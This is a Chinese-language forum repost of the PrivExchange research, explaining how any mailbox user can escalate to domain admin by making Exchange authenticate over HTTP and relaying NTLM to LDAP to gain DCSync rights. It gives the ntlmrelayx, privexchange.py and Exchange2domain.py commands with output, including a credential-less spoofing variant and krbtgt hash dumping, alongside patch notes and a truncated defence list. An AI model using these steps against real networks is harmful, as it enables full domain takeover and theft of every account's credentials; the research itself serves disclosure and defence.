標題:濫用exchage遠程調用域管理員API接口

taibeihacker

Moderator

0x00 前言​

在大多數的Active Directory和Exchange中,Exchange服務器具有很高的權限,即Exchange服務器上的管理員可以很容易地將權限提升到域管理員權限,我在zdi網站上看到了一篇博文,其中詳細介紹了一種讓Exchange通過HTTP使用NTLM對攻擊者進行身份驗證的方法。這可以與NTLM中繼相結合,從擁有郵箱的任何用戶可以提權到域管理員權限,在我見過的使用Exchange的企業組織中,可能有90%的企業組織使用郵箱將用戶可升級到域管理員權限,默認情況下,此攻擊是可能的,可以應用防禦措施來阻止此權限的提升。文本詳細介紹了這次攻擊和一些更技術的細節和防禦措施,以及為這次攻擊寫了一個驗證工具,我將其稱為“PrivExchange”。 (已對PrivExchange進行打了補丁也可用,請參閱“已發布的更新”部分)

0x01 以新方法利用已知漏洞​

本文將一些已知的漏洞和已知的協議漏洞合併成一個新的攻擊。有三個模塊組合在一起,可從有郵箱的任何用戶提權到域管理員訪問權限:
马云惹不起马云默認情況下,Exchange Server擁有高權限
马云惹不起马云NTLM身份驗證容易受到中繼
马云惹不起马云Exchange具有一項功能,即可以使用Exchange服務器的計算機帳戶對攻擊者進行身份驗證

1.Exchange和高权限​

這裡的主要漏洞是Exchange在Active Directory域中具有高權限。 Exchange Windows權限組對Active Directory中的域對象具有writedacl訪問權限,該對象允許該組的任何成員修改域權限,其中包括執行dcsync操作的權限。具有此權限的用戶或計算機可以執行通常由域控制器用於復制的同步操作,從而允許攻擊者同步Active Directory中用戶的所有哈希密碼。這已經被一些研究人員所發現(參見本文末尾的參考文獻部分),去年我和我的Fox-IT同事Rindert一起寫過一篇博文。在那篇文章中,我還發布了對ntlmrelayx的更新,這增加了在NTLM中繼時執行這些基於訪問控制列表(ACL)的攻擊的可能性。

2.NTLM中继计算机帐户​

NTLM中繼已經存在一段時間了。以前,主要關注的是通過SMB中繼NTLM身份驗證,以便在其他主機上執行代碼。不幸的是,在許多公司網絡中,這仍然是存在的,這些網絡沒有通過啟用SMB簽名來加固,其他協議也容易受到中繼。在我看來,最有趣的協議是LDAP,它可以用來讀取和修改(Active)目錄中的對象。如果你需要了解關於NTLM中繼的更新信息,你可以在我不久前寫的一篇博客中查找到它。簡而言之是,除非應用了防禦措施,則可以通過Windows(當自動時)將攻擊者的計算機連接到網絡中的其他計算機時執行(自動)身份驗證,如下圖所示:
33uw3lfdewh22609.png

當身份驗證到中繼LDAP時,可以修改目錄中的對像以授予攻擊者權限,包括DCSync操作所需的權限。因此,如果我們可以讓Exchange服務器通過NTLM身份驗證向我們進行身份驗證,我們就可以執行ACL攻擊。應該注意的是,僅當受害者通過HTTP而不是通過SMB對我們進行身份驗證時,才能中繼到LDAP。

3.Exchange进行身份验证​

到目前為止唯一缺少的組件是一種簡單的方法,可以讓Exchange對我們進行身份驗證。 ZDI的一位研究人員(在他們的文章中未透露姓名)發現,通過Exchange pushsubscription特性,可以讓Exchange通過HTTP對任意URL進行身份驗證。在他們的博客文章中,他們使用此漏洞將NTLM身份驗證中繼到Exchange(這稱為反射攻擊)並模擬其他用戶。如果我們將此與默認情況下Exchange具有的高權限相結合併執行中繼攻擊而不是反射攻擊,那麼我們可以使用這些權限為自己授予DCSync權限。推送通知服務有一個選項,即每隔X分鐘發送一條消息(攻擊者可以指定X),即使沒有發生任何事件。即使收件箱中沒有活動,這也可確保Exchange連接到我們。

0x02 执行权限提升攻击​

下面顯示了上述攻擊的示意圖,顯示了提升權限所執行的步驟:
gsuwhj2lmym22610.png
我們需要兩個工具來執行攻擊:privaexchange.py和ntlmrelayx。您可以在GitHub上同時獲得PrivExchange和impacket庫。以域控制器上的LDAP作為目標,在中繼模式下啟動Ntlmrelayx,並提供受攻擊者控制的用戶以進行權限提升(在本例中為NTU用戶)
ntlmrelayx.py -t ldap://s2016dc.testsegment.local --escalate-user ntu
現在我們運行priveexchange.py腳本:
user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u ntu -d testsegment.local
Password:
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
ERROR: The user you authenticated with does not have a mailbox associated. Try a different user.
當與沒有郵箱的用戶一起運行時,我們將得到上述錯誤。讓我們再次嘗試與有郵箱關聯的用戶:
user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u testuser -d testsegment.local
Password:
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful
一分鐘後(這是為推送通知提供的值),我們看到ntlmrelayx的連接,它為我們的用戶提供DCSync權限:
cyq5lnh2chx22611.png

我們使用secretsdump確認DCSync可以導出其hash值
xflc4b5da2z22612.png

使用所有Active Directory用戶的所有哈希密碼,攻擊者可以創建黃金票據來模擬任何用戶,或使用任何用戶密碼哈希對任何接受域中的NTLM或Kerberos身份驗證的服務進行身份驗證。

0x03 中继到LDAP和签名攻击​

我在之前提到過從smb到ldap的中繼不起作用,這也是為什麼不能使用例如最近發布的濫用SpoolService RPC來執行此攻擊的原因(因為這是通過smb進行身份驗證)。由於有關這方面的問題不斷出現,並且對此有很多疑惑,讓我們來看看為什麼會這樣。如果您不想深入了解NTLM身份驗證,請跳過本節:)
SMB和HTTP中的NTLM身份驗證之間的區別在於默認協商的標識。有問題的部分是NTLMSSP_NEGOTIATE_SIGNflag(0x00000010),記錄在MS-NLMP第2.2.2.5節中。默認情況下,HTTP上的NTLM身份驗證不會設置此標識,但如果在SMB上使用此標識,則默認情況下將設置此標識:
j4ydnd0gldc22613.png

當我們將其中繼到LDAP時,身份驗證將成功,但LDAP將使用所有從密碼派生的會話密鑰(在中繼攻擊中我們沒有此密鑰)對所有消息進行簽名。因此,它將忽略沒有簽名的任何消息,從而導致我們的攻擊失敗。有人可能想知道是否有可能在傳輸過程中修改這些標識,這樣簽名就不會被協商。這在Windows的當前版本中不起作用,因為它們默認包含MIC(消息完整性檢查),它是基於所有3個NTLM消息的簽名,因此任何消息中的任何修改都將使其無效。
pbphls4i0dp22614.png

我們可以刪除MIC嗎?是的,我們可以,因為它不在NTLM消息的受保護範圍內。然而,在NTLM身份驗證(僅限NTLMv2)中有一個最後的保護可以防止這種情況:在NTLMv2響應的處,它本身有受害者的密碼簽名,有一個AV_PAIR被調用的結構,成為MsvAvFlags。當此字段的值為0x002時,表示客戶端發送了MIC以及類型3消息。
fk4pvngofju22615.png

修改NTLMv2響應將使身份驗證無效,因此我們無法刪除此標識字段。標識字段表示計算機中包含MIC,這將使目標服務器驗證MIC,進而驗證所有3條消息在傳輸過程中未被修改,因此我們無法刪除簽名標識。
這適用於(我認為)只有Microsoft下的NTLM。實現NTLM的自定義很可能不會降低添加MIC和AV_PAIR標識的等級,這使得它們容易受到標識修改的影響,從而使SMB- LDAP中繼成功的可能。這方面的一個例子是以Java實現的NTLM攻擊,它可以在傳輸過程中進行修改以繞過安全防禦措施。

0x04 在没有任何凭据的情况下执行攻击​

在上一節中,我們使用洩露的憑證來執行攻擊的第一步。如果攻擊者只能執行網絡攻擊,但沒有任何憑據,則仍可以觸發Exchange進行身份驗證。如果我們執行SMB-to-HTTP(或HTTP-to-HTTP)中繼(使用llmnr/nbns/mitm6欺騙),我們可以將同一網段中用戶的身份驗證中繼到Exchange EWS並使用其憑據觸發回調(感謝Mark標記提出此問題!).我已對httpattack.py進行了一個小的修改,您可以使用Ntlmrelayx執行攻擊,而不需要任何憑據(您只需要修改攻擊者主機,因為它在文件中是已預編譯的)
fhd0hksord122616.png

0x05 工具使用说明​

1.工具和受影响的版本​

可以在https://github.com/dirkjanm/PrivExchange上找到驗證工具。在以下Exchange/Windows版本上進行了測試:
马云惹不起马云Server 2012R2上的Exchange 2013(CU21),中繼到Server 2016 DC(已完全修補)
马云惹不起马云Server 2016上的Exchange 2016(CU11),中繼到Server2019 DC(已完全修補)
马云惹不起马云Server2019上的Exchange 2019,中繼到Server2019 DC(感謝@gentilkiwi進行測試,已完全修補)
上面的Exchange服務器是使用共享權限模式(這是默認模式)安裝的,但是根據這種寫入操作,RBAC拆分權限部署也很容易受到攻擊(我沒有親自測試過)。
Exchange 2010 SP3似乎不受影響,在我的實驗室中,此版本協商了類似於上文所述的SMB的簽名,從而中斷了中繼(感謝@lean0x2f提出此問題)。 14.3.435.0版(編寫本文時的最新更新)和14.3.123.4版都顯示了這種結論。

发布更新:​

在2019年2月12日,Microsoft發布了Exchange更新,通過在發送通知時刪除自動身份驗證Exchange來解決這些問題。這涉及以下Exchange版本:
马云惹不起马云Exchange Server 2019更新版本
马云惹不起马云Exchange Server 2016更新版本12
马云惹不起马云Exchange Server 2013更新版本22
马云惹不起马云Exchange Server 2010 Service Pack 3更新匯總26
此外,需要檢查了Exchange所需的權限,並決定減少這些權限,以便Exchange在AD中不再具有過高的AD權限。對於現有的Exchange安裝,需要從更新的安裝程序再次運行setup.exe/preparead,否則將不會刪除這些權限。對於Exchange 2010,必須手動刪除權限,可以在KB4490059中獲得相關說明。
有關此修補程序的詳細信息,請參閱Microsoft Exchange博客。

2.PrivExchange使用​

2.1 安装要求​

這些工具需要打包。您可以使用命令pip install impacket進行安裝,但建議使用github的最新版本。
2.2 privexchange.py此工具只需登錄Exchange Web服務即可訂閱推送通知信息。這將使Exchange重新連接到服務器,並作為系統登錄進行身份驗證2.3 httpattack.py攻擊模塊,可與ntlmrelayx.py一起使用,在沒有憑據的情況下執行攻擊。要使其正常運行:
修改httpattack.py中的攻擊者URL,以指向將運行ntlmrelayx的攻擊者服務器
從GitHub克隆git clonehttps://github.com/SecureAuthCorp/impacket
將此文件複製到/impacket/impacket/examples/ntlmrelayx/attacks/目錄中
cd impacket
用命令pip install . --upgrade 安裝更新或用命令pip install -e . 安裝修改後的impacket版本

3.Exchange2domain---简化版使用​

一個簡化的privexchange利用工具。您只需打開Web服務器端口,因此不需要高權限。

3.1 安装要求​

這些工具需要打包。您可以使用命令pip install impacket進行安裝(https://github.com/Ridter/Exchange2domain)

3.2 用法​

usage: Exchange2domain.py [-h] [-u USERNAME] [-d DOMAIN] [-p PASSWORD]
[--hashes HASHES] [--no-ssl]
[--exchange-port EXCHANGE_PORT] -ah ATTACKER_HOST
[-ap ATTACKER_PORT] -th TARGET_HOST
[-exec-method [{smbexec,wmiexec,mmcexec}]]
[--exchange-version EXCHANGE_VERSION]
[--attacker-page ATTACKER_PAGE]
[--just-dc-user USERNAME] [--debug]
HOSTNAME
Exchange your privileges for Domain Admin privs by abusing Exchange. Use me
with ntlmrelayx
positional arguments:
HOSTNAME Hostname/ip of the Exchange server
optional arguments:
-h, --help show this help message and exit
-u USERNAME, --user USERNAME
username for authentication
-d DOMAIN, --domain DOMAIN
domain the user is in (FQDN or NETBIOS domain name)
-p PASSWORD, --password PASSWORD
Password for authentication, will prompt if not
specified and no NT:NTLM hashes are supplied
--hashes HASHES LM:NLTM hashes
--no-ssl Don't use HTTPS (connects on port 80)
--exchange-port EXCHANGE_PORT
Alternative EWS port (default: 443 or 80)
-ah ATTACKER_HOST, --attacker-host ATTACKER_HOST
Attacker hostname or IP
-ap ATTACKER_PORT, --attacker-port ATTACKER_PORT
Port on which the relay attack runs (default: 80)
-th TARGET_HOST, --target-host TARGET_HOST
Hostname or IP of the DC
-exec-method [{smbexec,wmiexec,mmcexec}]
Remote exec method to use at target (only when using
-use-vss). Default: smbexec
--exchange-version EXCHANGE_VERSION
Exchange version of the target (default: Exchange2013,
choices:Exchange2010,Exchange2010_SP1,Exchange2010_SP2
,Exchange2013,Exchange2013_SP1,Exchange2016)
--attacker-page ATTACKER_PAGE
Page to request on attacker server (default:
/privexchange/)
--just-dc-user USERNAME
Extract only NTDS.DIT data for the user specified.
Only available for DRSUAPI approach.
--debug Enable debug output
例如:
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
如果您只想轉儲krbtgt,請使用--just-dc-user:
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip

0x06 防御措施​

在之前的博客中,我已經強調了針對NTLM中繼的幾種防禦方法,特別是針對中繼到LDAP的防禦。
適用於此攻擊的最重要防禦措施是:
马云惹不起马云從已打補丁的Exchange CU中執行setup.exe/preparead,刪除Exchange對域對像不必要的高權限(有關詳細信息,請參閱下文)
马云惹不起马云啟用LDAP簽名並啟用LDAP通道綁定,以阻止分別中繼到LDAP和LDAPS
马云惹不起马云阻止Exchange服務器與任意端口上的客服端建立連接。
马云惹不起马云在IIS中的Exchange端點上啟用身份驗證的擴展保護(但不是Exchange後端端點,將中斷Exchange)。這將驗證NTLM身份驗證中的通道綁定參數,該參數將NTLM身份驗證綁定到一個TLS連接,並阻止中繼到Exchange Web服務。
马云惹不起马云刪除
 
返回
上方